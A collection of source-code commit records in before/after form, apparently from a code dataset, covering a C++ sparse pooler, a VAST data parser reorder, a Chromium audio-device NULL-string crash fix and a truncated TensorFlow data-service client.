setDoNormalization(normalize);\n    setNorm(norm);\n    setSparsificationMode(sparsification_mode);\n    setKWinners(kWinners);\n    setInferenceMode(inference_mode);\n    setThreshold(threshold);\n    setMinAcceptDistance(min_accept_distance);\n    setMinAcceptNorm(min_accept_norm);\n    setMinProtoSum(min_proto_sum);\n    setSigma(sigma);\n\n    prototypes_.resize(inputMasks.nMasks());\n    for (size_type i = 0; i != inputMasks.nMasks(); ++i)\n      prototypes_[i].resize(0, inputMasks.size(i));\n\n    init_invariants_();\n  }\n  \n  \/\/--------------------------------------------------------------------------------\n  SparsePooler::SparsePooler(istream& inStream, UInt32 seed)\n    : normalize_(false),\n      lp_(0),\n      sparsification_mode_(none),\n      k_winners_(0),\n      threshold_(0),\n      min_accept_distance_(0),\n      min_accept_norm_(0),\n      min_proto_sum_(1),\n      inference_mode_(product),\n      sigma_(0),\n      input_masks_(),\n      p_(0),\n      buf_(),\n      prototypes_(),\n      rng_(seed)\n  {\n    readState(inStream);\n  }\n\n  \/\/--------------------------------------------------------------------------------\n  SparsePooler::~SparsePooler()\n  {}\n\n  \/\/--------------------------------------------------------------------------------\n  void SparsePooler::saveState(ostream& outStream) const\n  {\n    outStream << getCurrentSparsePoolerVersion() << \" \"\n\t      << getSparsificationMode() << \" \"\n\t      << getInferenceMode() << \" \"\n\t      << getInputMasks() << \" \"\n\t      << getDoNormalization() << \" \"\n\t      << getNorm() << \" \"\n\t      << getKWinners() << \" \"\n\t      << getThreshold() << \" \"\n\t      << getMinAcceptDistance() << \" \"\n\t      << getMinAcceptNorm() << \" \"\n\t      << getMinProtoSum() << \" \"\n\t      << getSigma() << \" \";\n\n    for (size_type i = 0; i != prototypes_.size(); ++i)\n      getPrototypes(i).toCSR(outStream);\n  }\n  \n  \/\/--------------------------------------------------------------------------------\n  void SparsePooler::readState(istream& inStream) \n  {\n    const std::string where = \"SparsePooler::readState: \";\n\n    string flag(\"\");\n    size_type i_val = 0;\n    value_type f_val = (value_type) 0;\n\n    inStream >> flag;\n    \n    inStream >> i_val;\n    setSparsificationMode(i_val);\n\n    inStream >> i_val;\n    setInferenceMode(i_val);\n\n    inStream >> input_masks_;\n\n    inStream >> i_val;\n    setDoNormalization(i_val);\n\n    inStream >> f_val;\n    setNorm(f_val);\n\n    inStream >> i_val;\n    setKWinners(i_val);\n\n    inStream >> f_val;\n    setThreshold(f_val);\n    \n    inStream >> f_val;\n    setMinAcceptDistance(f_val);\n\n    inStream >> f_val;\n    setMinAcceptNorm(f_val);\n\n    if (flag == \"SparsePooler_1.7\") {\n      inStream >> f_val;\n      setMinProtoSum(f_val);\n    }\n\n    inStream >> f_val;\n    setSigma(f_val);\n\n    size_type n_prototypes = getInputMasks().nMasks();\n\n    prototypes_.resize(n_prototypes);\n\n    for (size_type i = 0; i != n_prototypes; ++i)\n      prototypes_[i].fromCSR(inStream, true);\n    \n    p_ = 0;\n    buf_.resize(getInputMasks().maxSize());\n\n    init_invariants_();\n  }\n\n \/\/--------------------------------------------------------------------------------\n  void SparsePooler::init_invariants_() const\n  {\n  }\n\n  \/\/--------------------------------------------------------------------------------\n} \/\/ end namespace nta\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>removing the doot thing<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Fixed potential warning (forward declaration and definition didn't match signature. forward declaration only here for consistency)<commit_after><|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\n *                    _   _____   __________                                  *\n *                   | | \/ \/ _ | \/ __\/_  __\/     Visibility                   *\n *                   | |\/ \/ __ |_\\ \\  \/ \/          Across                     *\n *                   |___\/_\/ |_\/___\/ \/_\/       Space and Time                 *\n *                                                                            *\n * This file is part of VAST. It is subject to the license terms in the       *\n * LICENSE file found in the top-level directory of this distribution and at  *\n * http:\/\/vast.io\/license. No part of VAST, including this file, may be       *\n * copied, modified, propagated, or distributed except according to the terms *\n * contained in the LICENSE file.                                             *\n ******************************************************************************\/\n\n#pragma once\n\n#include <caf\/none.hpp>\n\n#include \"vast\/data.hpp\"\n\n#include \"vast\/concept\/parseable\/core\/parser.hpp\"\n#include \"vast\/concept\/parseable\/core\/rule.hpp\"\n#include \"vast\/concept\/parseable\/numeric.hpp\"\n#include \"vast\/concept\/parseable\/string\/quoted_string.hpp\"\n#include \"vast\/concept\/parseable\/vast\/address.hpp\"\n#include \"vast\/concept\/parseable\/vast\/pattern.hpp\"\n#include \"vast\/concept\/parseable\/vast\/port.hpp\"\n#include \"vast\/concept\/parseable\/vast\/si.hpp\"\n#include \"vast\/concept\/parseable\/vast\/subnet.hpp\"\n#include \"vast\/concept\/parseable\/vast\/time.hpp\"\n\nnamespace vast {\n\nstruct data_parser : parser<data_parser> {\n  using attribute = data;\n\n  template <class Iterator, class Attribute>\n  bool parse(Iterator& f, const Iterator& l, Attribute& a) const {\n    static auto p = make<Iterator>();\n    return p(f, l, a);\n  }\n\nprivate:\n  template <class Iterator>\n  static auto make() {\n    using namespace parser_literals;\n    rule<Iterator, data> p;\n    auto ws = ignore(*parsers::space);\n    auto x = ws >> p >> ws;\n    auto kvp = x >> \"->\" >> x;\n    \/\/ clang-format off\n    p = parsers::timespan\n      | parsers::timestamp\n      | parsers::net\n      | parsers::port\n      | parsers::addr\n      | parsers::real\n      | parsers::count\n      | parsers::integer\n      | parsers::tf\n      | parsers::qq_str\n      | parsers::pattern\n      | '[' >> ~(x % ',') >> ']'\n      | '{' >> (('-' >> &'}'_p) | as<map>(kvp % ',')) >> '}'\n      | '{' >> ~as<set>(x % ',') >> '}'\n      | as<caf::none_t>(\"nil\"_p)\n      ;\n    \/\/ clang-format on\n    return p;\n  }\n};\n\ntemplate <>\nstruct parser_registry<data> {\n  using type = data_parser;\n};\n\nnamespace parsers {\n\nstatic auto const data = data_parser{};\n\n} \/\/ namespace parsers\n} \/\/ namespace vast\n<commit_msg>Try timestamp before timespan in data parser<commit_after>\/******************************************************************************\n *                    _   _____   __________                                  *\n *                   | | \/ \/ _ | \/ __\/_  __\/     Visibility                   *\n *                   | |\/ \/ __ |_\\ \\  \/ \/          Across                     *\n *                   |___\/_\/ |_\/___\/ \/_\/       Space and Time                 *\n *                                                                            *\n * This file is part of VAST. It is subject to the license terms in the       *\n * LICENSE file found in the top-level directory of this distribution and at  *\n * http:\/\/vast.io\/license. No part of VAST, including this file, may be       *\n * copied, modified, propagated, or distributed except according to the terms *\n * contained in the LICENSE file.                                             *\n ******************************************************************************\/\n\n#pragma once\n\n#include <caf\/none.hpp>\n\n#include \"vast\/data.hpp\"\n\n#include \"vast\/concept\/parseable\/core\/parser.hpp\"\n#include \"vast\/concept\/parseable\/core\/rule.hpp\"\n#include \"vast\/concept\/parseable\/numeric.hpp\"\n#include \"vast\/concept\/parseable\/string\/quoted_string.hpp\"\n#include \"vast\/concept\/parseable\/vast\/address.hpp\"\n#include \"vast\/concept\/parseable\/vast\/pattern.hpp\"\n#include \"vast\/concept\/parseable\/vast\/port.hpp\"\n#include \"vast\/concept\/parseable\/vast\/si.hpp\"\n#include \"vast\/concept\/parseable\/vast\/subnet.hpp\"\n#include \"vast\/concept\/parseable\/vast\/time.hpp\"\n\nnamespace vast {\n\nstruct data_parser : parser<data_parser> {\n  using attribute = data;\n\n  template <class Iterator, class Attribute>\n  bool parse(Iterator& f, const Iterator& l, Attribute& a) const {\n    static auto p = make<Iterator>();\n    return p(f, l, a);\n  }\n\nprivate:\n  template <class Iterator>\n  static auto make() {\n    using namespace parser_literals;\n    rule<Iterator, data> p;\n    auto ws = ignore(*parsers::space);\n    auto x = ws >> p >> ws;\n    auto kvp = x >> \"->\" >> x;\n    \/\/ clang-format off\n    p = parsers::timestamp\n      | parsers::timespan\n      | parsers::net\n      | parsers::port\n      | parsers::addr\n      | parsers::real\n      | parsers::count\n      | parsers::integer\n      | parsers::tf\n      | parsers::qq_str\n      | parsers::pattern\n      | '[' >> ~(x % ',') >> ']'\n      | '{' >> (('-' >> &'}'_p) | as<map>(kvp % ',')) >> '}'\n      | '{' >> ~as<set>(x % ',') >> '}'\n      | as<caf::none_t>(\"nil\"_p)\n      ;\n    \/\/ clang-format on\n    return p;\n  }\n};\n\ntemplate <>\nstruct parser_registry<data> {\n  using type = data_parser;\n};\n\nnamespace parsers {\n\nstatic auto const data = data_parser{};\n\n} \/\/ namespace parsers\n} \/\/ namespace vast\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"media\/audio\/win\/audio_device_listener_win.h\"\n\n#include <Audioclient.h>\n\n#include \"base\/logging.h\"\n#include \"base\/system_monitor\/system_monitor.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"base\/win\/scoped_co_mem.h\"\n#include \"base\/win\/windows_version.h\"\n#include \"media\/audio\/audio_util.h\"\n#include \"media\/audio\/win\/core_audio_util_win.h\"\n\nusing base::win::ScopedCoMem;\n\nnamespace media {\n\nstatic std::string FlowToString(EDataFlow flow) {\n  return (flow == eRender) ? \"eRender\" : \"eConsole\";\n}\n\nstatic std::string RoleToString(ERole role) {\n  switch (role) {\n    case eConsole: return \"eConsole\";\n    case eMultimedia: return \"eMultimedia\";\n    case eCommunications: return \"eCommunications\";\n    default: return \"undefined\";\n  }\n}\n\nAudioDeviceListenerWin::AudioDeviceListenerWin(const base::Closure& listener_cb)\n    : listener_cb_(listener_cb) {\n  CHECK(CoreAudioUtil::IsSupported());\n\n  ScopedComPtr<IMMDeviceEnumerator> device_enumerator(\n      CoreAudioUtil::CreateDeviceEnumerator());\n  if (!device_enumerator)\n    return;\n\n  HRESULT hr = device_enumerator->RegisterEndpointNotificationCallback(this);\n  if (FAILED(hr)) {\n    LOG(ERROR)  << \"RegisterEndpointNotificationCallback failed: \"\n                << std::hex << hr;\n    return;\n  }\n\n  device_enumerator_ = device_enumerator;\n\n  ScopedComPtr<IMMDevice> device =\n      CoreAudioUtil::CreateDefaultDevice(eRender, eConsole);\n  if (!device) {\n    \/\/ Most probable reason for ending up here is that all audio devices are\n    \/\/ disabled or unplugged.\n    VLOG(1)  << \"CoreAudioUtil::CreateDefaultDevice failed. No device?\";\n    return;\n  }\n\n  AudioDeviceName device_name;\n  hr = CoreAudioUtil::GetDeviceName(device, &device_name);\n  if (FAILED(hr)) {\n    VLOG(1)  << \"Failed to retrieve the device id: \" << std::hex << hr;\n    return;\n  }\n  default_render_device_id_ = device_name.unique_id;\n}\n\nAudioDeviceListenerWin::~AudioDeviceListenerWin() {\n  DCHECK(thread_checker_.CalledOnValidThread());\n  if (device_enumerator_) {\n    HRESULT hr =\n        device_enumerator_->UnregisterEndpointNotificationCallback(this);\n    LOG_IF(ERROR, FAILED(hr)) << \"UnregisterEndpointNotificationCallback() \"\n                              << \"failed: \" << std::hex << hr;\n  }\n}\n\nSTDMETHODIMP_(ULONG) AudioDeviceListenerWin::AddRef() {\n  return 1;\n}\n\nSTDMETHODIMP_(ULONG) AudioDeviceListenerWin::Release() {\n  return 1;\n}\n\nSTDMETHODIMP AudioDeviceListenerWin::QueryInterface(REFIID iid, void** object) {\n  if (iid == IID_IUnknown || iid == __uuidof(IMMNotificationClient)) {\n    *object = static_cast<IMMNotificationClient*>(this);\n    return S_OK;\n  }\n\n  *object = NULL;\n  return E_NOINTERFACE;\n}\n\nSTDMETHODIMP AudioDeviceListenerWin::OnPropertyValueChanged(\n    LPCWSTR device_id, const PROPERTYKEY key) {\n  \/\/ TODO(dalecurtis): We need to handle changes for the current default device\n  \/\/ here.  It's tricky because this method may be called many (20+) times for\n  \/\/ a single change like sample rate.  http:\/\/crbug.com\/153056\n  return S_OK;\n}\n\nSTDMETHODIMP AudioDeviceListenerWin::OnDeviceAdded(LPCWSTR device_id) {\n  \/\/ We don't care when devices are added.\n  return S_OK;\n}\n\nSTDMETHODIMP AudioDeviceListenerWin::OnDeviceRemoved(LPCWSTR device_id) {\n  \/\/ We don't care when devices are removed.\n  return S_OK;\n}\n\nSTDMETHODIMP AudioDeviceListenerWin::OnDeviceStateChanged(LPCWSTR device_id,\n                                                          DWORD new_state) {\n  if (new_state != DEVICE_STATE_ACTIVE && new_state != DEVICE_STATE_NOTPRESENT)\n    return S_OK;\n\n  base::SystemMonitor* monitor = base::SystemMonitor::Get();\n  if (monitor)\n    monitor->ProcessDevicesChanged(base::SystemMonitor::DEVTYPE_AUDIO_CAPTURE);\n\n  return S_OK;\n}\n\nSTDMETHODIMP AudioDeviceListenerWin::OnDefaultDeviceChanged(\n    EDataFlow flow, ERole role, LPCWSTR new_default_device_id) {\n  \/\/ Only listen for output device changes right now...\n  if (flow != eConsole && role != eRender)\n    return S_OK;\n  VLOG(1) << \"OnDefaultDeviceChanged() \"\n          << \"new_default_device: \"\n          << CoreAudioUtil::GetFriendlyName(WideToUTF8(new_default_device_id))\n          << \", flow: \" << FlowToString(flow)\n          << \", role: \" << RoleToString(role);\n\n  \/\/ If no device is now available, |new_default_device_id| will be NULL.\n  std::string new_device_id = \"\";\n  if (new_default_device_id)\n    new_device_id = WideToUTF8(new_default_device_id);\n\n  \/\/ Only fire a state change event if the device has actually changed.\n  \/\/ TODO(dalecurtis): This still seems to fire an extra event on my machine for\n  \/\/ an unplug event (probably others too); e.g., we get two transitions to a\n  \/\/ new default device id.\n  if (new_device_id.compare(default_render_device_id_) == 0)\n    return S_OK;\n\n  default_render_device_id_ = new_device_id;\n  listener_cb_.Run();\n\n  return S_OK;\n}\n\n}  \/\/ namespace media\n<commit_msg>Solves crash in media::AudioDeviceListenerWin::OnDefaultDeviceChanged by avoiding using NULL string caused by all devices removed.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"media\/audio\/win\/audio_device_listener_win.h\"\n\n#include <Audioclient.h>\n\n#include \"base\/logging.h\"\n#include \"base\/system_monitor\/system_monitor.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"base\/win\/scoped_co_mem.h\"\n#include \"base\/win\/windows_version.h\"\n#include \"media\/audio\/audio_util.h\"\n#include \"media\/audio\/win\/core_audio_util_win.h\"\n\nusing base::win::ScopedCoMem;\n\nnamespace media {\n\nstatic std::string FlowToString(EDataFlow flow) {\n  return (flow == eRender) ? \"eRender\" : \"eConsole\";\n}\n\nstatic std::string RoleToString(ERole role) {\n  switch (role) {\n    case eConsole: return \"eConsole\";\n    case eMultimedia: return \"eMultimedia\";\n    case eCommunications: return \"eCommunications\";\n    default: return \"undefined\";\n  }\n}\n\nAudioDeviceListenerWin::AudioDeviceListenerWin(const base::Closure& listener_cb)\n    : listener_cb_(listener_cb) {\n  CHECK(CoreAudioUtil::IsSupported());\n\n  ScopedComPtr<IMMDeviceEnumerator> device_enumerator(\n      CoreAudioUtil::CreateDeviceEnumerator());\n  if (!device_enumerator)\n    return;\n\n  HRESULT hr = device_enumerator->RegisterEndpointNotificationCallback(this);\n  if (FAILED(hr)) {\n    LOG(ERROR)  << \"RegisterEndpointNotificationCallback failed: \"\n                << std::hex << hr;\n    return;\n  }\n\n  device_enumerator_ = device_enumerator;\n\n  ScopedComPtr<IMMDevice> device =\n      CoreAudioUtil::CreateDefaultDevice(eRender, eConsole);\n  if (!device) {\n    \/\/ Most probable reason for ending up here is that all audio devices are\n    \/\/ disabled or unplugged.\n    VLOG(1)  << \"CoreAudioUtil::CreateDefaultDevice failed. No device?\";\n    return;\n  }\n\n  AudioDeviceName device_name;\n  hr = CoreAudioUtil::GetDeviceName(device, &device_name);\n  if (FAILED(hr)) {\n    VLOG(1)  << \"Failed to retrieve the device id: \" << std::hex << hr;\n    return;\n  }\n  default_render_device_id_ = device_name.unique_id;\n}\n\nAudioDeviceListenerWin::~AudioDeviceListenerWin() {\n  DCHECK(thread_checker_.CalledOnValidThread());\n  if (device_enumerator_) {\n    HRESULT hr =\n        device_enumerator_->UnregisterEndpointNotificationCallback(this);\n    LOG_IF(ERROR, FAILED(hr)) << \"UnregisterEndpointNotificationCallback() \"\n                              << \"failed: \" << std::hex << hr;\n  }\n}\n\nSTDMETHODIMP_(ULONG) AudioDeviceListenerWin::AddRef() {\n  return 1;\n}\n\nSTDMETHODIMP_(ULONG) AudioDeviceListenerWin::Release() {\n  return 1;\n}\n\nSTDMETHODIMP AudioDeviceListenerWin::QueryInterface(REFIID iid, void** object) {\n  if (iid == IID_IUnknown || iid == __uuidof(IMMNotificationClient)) {\n    *object = static_cast<IMMNotificationClient*>(this);\n    return S_OK;\n  }\n\n  *object = NULL;\n  return E_NOINTERFACE;\n}\n\nSTDMETHODIMP AudioDeviceListenerWin::OnPropertyValueChanged(\n    LPCWSTR device_id, const PROPERTYKEY key) {\n  \/\/ TODO(dalecurtis): We need to handle changes for the current default device\n  \/\/ here.  It's tricky because this method may be called many (20+) times for\n  \/\/ a single change like sample rate.  http:\/\/crbug.com\/153056\n  return S_OK;\n}\n\nSTDMETHODIMP AudioDeviceListenerWin::OnDeviceAdded(LPCWSTR device_id) {\n  \/\/ We don't care when devices are added.\n  return S_OK;\n}\n\nSTDMETHODIMP AudioDeviceListenerWin::OnDeviceRemoved(LPCWSTR device_id) {\n  \/\/ We don't care when devices are removed.\n  return S_OK;\n}\n\nSTDMETHODIMP AudioDeviceListenerWin::OnDeviceStateChanged(LPCWSTR device_id,\n                                                          DWORD new_state) {\n  if (new_state != DEVICE_STATE_ACTIVE && new_state != DEVICE_STATE_NOTPRESENT)\n    return S_OK;\n\n  base::SystemMonitor* monitor = base::SystemMonitor::Get();\n  if (monitor)\n    monitor->ProcessDevicesChanged(base::SystemMonitor::DEVTYPE_AUDIO_CAPTURE);\n\n  return S_OK;\n}\n\nSTDMETHODIMP AudioDeviceListenerWin::OnDefaultDeviceChanged(\n    EDataFlow flow, ERole role, LPCWSTR new_default_device_id) {\n  \/\/ Only listen for output device changes right now...\n  if (flow != eConsole && role != eRender)\n    return S_OK;\n\n  \/\/ If no device is now available, |new_default_device_id| will be NULL.\n  std::string new_device_id;\n  if (new_default_device_id)\n    new_device_id = WideToUTF8(new_default_device_id);\n\n  VLOG(1) << \"OnDefaultDeviceChanged() \"\n          << \"new_default_device: \"\n          << (new_default_device_id ?\n              CoreAudioUtil::GetFriendlyName(new_device_id) : \"No device\")\n          << \", flow: \" << FlowToString(flow)\n          << \", role: \" << RoleToString(role);\n\n  \/\/ Only fire a state change event if the device has actually changed.\n  \/\/ TODO(dalecurtis): This still seems to fire an extra event on my machine for\n  \/\/ an unplug event (probably others too); e.g., we get two transitions to a\n  \/\/ new default device id.\n  if (new_device_id.compare(default_render_device_id_) == 0)\n    return S_OK;\n\n  default_render_device_id_ = new_device_id;\n  listener_cb_.Run();\n\n  return S_OK;\n}\n\n}  \/\/ namespace media\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Reformatted comment.<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>removed old cruf<commit_after><|endoftext|>"}
{"text":"<commit_before>\/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/core\/data\/service\/data_service.h\"\n\n#include \"grpcpp\/create_channel.h\"\n#include \"grpcpp\/security\/credentials.h\"\n#include \"absl\/types\/optional.h\"\n#include \"tensorflow\/core\/data\/service\/credentials_factory.h\"\n#include \"tensorflow\/core\/data\/service\/data_transfer.h\"\n#include \"tensorflow\/core\/data\/service\/dispatcher.grpc.pb.h\"\n#include \"tensorflow\/core\/data\/service\/grpc_util.h\"\n#include \"tensorflow\/core\/data\/service\/worker.grpc.pb.h\"\n#include \"tensorflow\/core\/data\/service\/worker.pb.h\"\n#include \"tensorflow\/core\/framework\/dataset.h\"\n#include \"tensorflow\/core\/platform\/errors.h\"\n\nnamespace tensorflow {\nnamespace data {\n\nnamespace {\nconstexpr const char kParallelEpochs[] = \"parallel_epochs\";\nconstexpr const char kDistributedEpoch[] = \"distributed_epoch\";\n\n}  \/\/ namespace\n\nStatus ParseProcessingMode(const std::string& s, ProcessingMode& mode) {\n  if (s == kParallelEpochs) {\n    mode = ProcessingMode::PARALLEL_EPOCHS;\n  } else if (s == kDistributedEpoch) {\n    mode = ProcessingMode::DISTRIBUTED_EPOCH;\n  } else {\n    return errors::InvalidArgument(\"Unrecognized processing mode: \", s);\n  }\n  return Status::OK();\n}\n\nstd::string ProcessingModeToString(ProcessingMode mode) {\n  switch (mode) {\n    case ProcessingMode::PARALLEL_EPOCHS:\n      return kParallelEpochs;\n    case ProcessingMode::DISTRIBUTED_EPOCH:\n      return kDistributedEpoch;\n    default:\n      DCHECK(false);\n      return \"Unknown\";\n  }\n}\n\nStatus DataServiceDispatcherClient::WorkerHeartbeat(\n    const std::string& worker_address, const std::string& transfer_address,\n    const std::vector<int64>& current_tasks, std::vector<TaskDef>& new_tasks,\n    std::vector<int64>& tasks_to_delete) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  WorkerHeartbeatRequest req;\n  req.set_worker_address(worker_address);\n  req.set_transfer_address(transfer_address);\n  for (int64 task : current_tasks) {\n    req.add_current_tasks(task);\n  }\n  WorkerHeartbeatResponse resp;\n  grpc::ClientContext client_ctx;\n  grpc::Status status = stub_->WorkerHeartbeat(&client_ctx, req, &resp);\n  if (!status.ok()) {\n    return grpc_util::WrapError(\"Failed to perform worker heartbeat\", status);\n  }\n  for (const auto& task : resp.new_tasks()) {\n    new_tasks.push_back(task);\n  }\n  for (int64 task_to_delete : resp.tasks_to_delete()) {\n    tasks_to_delete.push_back(task_to_delete);\n  }\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::WorkerUpdate(\n    const std::string& worker_address,\n    std::vector<TaskProgress>& task_progress) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  WorkerUpdateRequest req;\n  req.set_worker_address(worker_address);\n  for (const auto& update : task_progress) {\n    *(req.add_updates()) = update;\n  }\n  WorkerUpdateResponse resp;\n  grpc::ClientContext client_ctx;\n  grpc::Status status = stub_->WorkerUpdate(&client_ctx, req, &resp);\n  if (!status.ok()) {\n    return grpc_util::WrapError(\"Failed to send worker update\", status);\n  }\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::GetDatasetDef(int64 dataset_id,\n                                                  DatasetDef& dataset_def) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  GetDatasetDefRequest req;\n  req.set_dataset_id(dataset_id);\n  GetDatasetDefResponse resp;\n  grpc::ClientContext client_ctx;\n  grpc::Status status = stub_->GetDatasetDef(&client_ctx, req, &resp);\n  if (!status.ok()) {\n    return grpc_util::WrapError(\"Failed to get dataset def\", status);\n  }\n  dataset_def = resp.dataset_def();\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::GetSplit(int64 job_id, int64 repetition,\n                                             Tensor& split,\n                                             bool& end_of_splits) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  GetSplitRequest req;\n  req.set_job_id(job_id);\n  req.set_repetition(repetition);\n  GetSplitResponse resp;\n  grpc::ClientContext client_ctx;\n  grpc::Status status = stub_->GetSplit(&client_ctx, req, &resp);\n  if (!status.ok()) {\n    return grpc_util::WrapError(\"Failed to get split\", status);\n  }\n  end_of_splits = resp.end_of_splits();\n  if (!end_of_splits) {\n    if (!split.FromProto(resp.split())) {\n      return errors::Internal(\"Failed to parse split tensor proto\");\n    }\n  }\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::RegisterDataset(GraphDef dataset,\n                                                    int64& dataset_id) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  GetOrRegisterDatasetRequest req;\n  *req.mutable_dataset()->mutable_graph() = dataset;\n  GetOrRegisterDatasetResponse resp;\n  grpc::ClientContext client_ctx;\n  grpc::Status status = stub_->GetOrRegisterDataset(&client_ctx, req, &resp);\n  if (!status.ok()) {\n    return grpc_util::WrapError(\"Failed to register dataset\", status);\n  }\n  dataset_id = resp.dataset_id();\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::GetOrCreateJob(\n    int64 dataset_id, ProcessingMode processing_mode,\n    const absl::optional<JobKey>& job_key, absl::optional<int64> num_consumers,\n    int64& job_client_id) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  GetOrCreateJobRequest req;\n  req.set_dataset_id(dataset_id);\n  req.set_processing_mode(ProcessingModeDef(processing_mode));\n  if (job_key.has_value()) {\n    *req.mutable_job_key() = job_key.value();\n  }\n  if (num_consumers.has_value()) {\n    req.set_num_consumers(num_consumers.value());\n  }\n  GetOrCreateJobResponse resp;\n  grpc::ClientContext client_ctx;\n  grpc::Status status = stub_->GetOrCreateJob(&client_ctx, req, &resp);\n  if (!status.ok()) {\n    return grpc_util::WrapError(\n        absl::StrCat(\"Failed to get or create job for dataset with id \",\n                     dataset_id),\n        status);\n  }\n  job_client_id = resp.job_client_id();\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::ReleaseJobClient(int64 job_client_id) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  ReleaseJobClientRequest req;\n  req.set_job_client_id(job_client_id);\n  ReleaseJobClientResponse resp;\n  grpc::ClientContext client_ctx;\n  grpc::Status status = stub_->ReleaseJobClient(&client_ctx, req, &resp);\n  if (!status.ok()) {\n    return grpc_util::WrapError(\n        absl::StrCat(\"Failed to release job client with id \", job_client_id),\n        status);\n  }\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::MaybeRemoveTask(int64 task_id,\n                                                    int64 consumer_index,\n                                                    int64 round,\n                                                    bool& removed) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  MaybeRemoveTaskRequest req;\n  req.set_task_id(task_id);\n  req.set_consumer_index(consumer_index);\n  req.set_round(round);\n  MaybeRemoveTaskResponse resp;\n  grpc::ClientContext client_ctx;\n  grpc::Status status = stub_->MaybeRemoveTask(&client_ctx, req, &resp);\n  if (!status.ok()) {\n    return grpc_util::WrapError(\"Failed to call MaybeRemoveTask\", status);\n  }\n  removed = resp.removed();\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::ClientHeartbeat(\n    ClientHeartbeatRequest& req, ClientHeartbeatResponse& resp) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  grpc::ClientContext ctx;\n  grpc::Status s = stub_->ClientHeartbeat(&ctx, req, &resp);\n  if (!s.ok()) {\n    return grpc_util::WrapError(\"Failed to get tasks\", s);\n  }\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::GetWorkers(\n    std::vector<WorkerInfo>& workers) {\n  TF_RETURN_IF_ERROR(EnsureInitialized());\n  GetWorkersRequest req;\n  GetWorkersResponse resp;\n  grpc::ClientContext ctx;\n  grpc::Status s = stub_->GetWorkers(&ctx, req, &resp);\n  if (!s.ok()) {\n    return grpc_util::WrapError(\"Failed to get workers\", s);\n  }\n  workers.clear();\n  for (auto& worker : resp.workers()) {\n    workers.push_back(worker);\n  }\n  return Status::OK();\n}\n\nStatus DataServiceDispatcherClient::EnsureInitialized() {\n  mutex_lock l(mu_);\n  if (stub_) {\n    return Status::OK();\n  }\n  std::shared_ptr<grpc::ChannelCredentials> credentials;\n  TF_RETURN_IF_ERROR(\n      CredentialsFactory::CreateClientCredentials(protocol_, &credentials));\n  grpc::ChannelArguments args;\n  args.SetMaxReceiveMessageSize(std::numeric_limits<int32>::max());\n  args.SetInt(GRPC_ARG_USE_LOCAL_SUBCHANNEL_POOL, true);\n  auto channel = grpc::CreateCustomChannel(address_, credentials, args);\n  stub_ = DispatcherService::NewStub(channel);\n  GetVersionRequest req;\n  GetVersionResponse resp;\n  TF_RETURN_IF_ERROR(grpc_util::Retry(\n      [&] {\n        grpc::ClientContext ctx;\n        grpc::Status s = stub_->GetVersion(&ctx, req, &resp);\n        if (!s.ok()) {\n          return grpc_util::WrapError(\"Failed to get dispatcher version\", s);\n        }\n        return Status::OK();\n      },\n      \"checking service version\",\n      \/*deadline_micros=*\/kint64max));\n  if (resp.version() != kDataServiceVersion) {\n    return errors::FailedPrecondition(\n        \"Version mismatch with tf.data service server. The server is running \"\n        \"version \",\n        resp.version(), \", while the client is running version \",\n        kDataServiceVersion,\n        \". Please ensure that the client and server side are running the \"\n        \"same version of TensorFlow.\");\n  }\n  return Status::OK();\n}\n\nclass GrpcDataTransferClient : public DataTransferClient {\n public:\n  GrpcDataTransferClient(std::shared_ptr<grpc::ChannelCredentials> credentials,\n                         std::string address) {\n    grpc::ChannelArguments args;\n    args.SetMaxReceiveMessageSize(-1);\n    auto channel = grpc::CreateCustomChannel(address, credentials, args);\n    stub_ = WorkerService::NewStub(channel);\n  }\n\n  Status GetElement(const GetElementRequest& req,\n                    GetElementResult& result) override {\n    {\n      mutex_lock l(mu_);\n      if (cancelled_) {\n        return errors::Cancelled(\"Client was cancelled.\");\n      }\n    }\n    grpc::ClientContext ctx;\n    {\n      mutex_lock l(mu_);\n      active_contexts_.insert(&ctx);\n    }\n    GetElementResponse resp;\n    grpc::Status s = stub_->GetElement(&ctx, req, &resp);\n    result.end_of_sequence = resp.end_of_sequence();\n    result.skip = resp.skip_task();\n    switch (resp.element_case()) {\n      case GetElementResponse::kCompressed: {\n        Tensor tensor(DT_VARIANT, TensorShape{});\n        tensor.scalar<Variant>()() = std::move(resp.compressed());\n        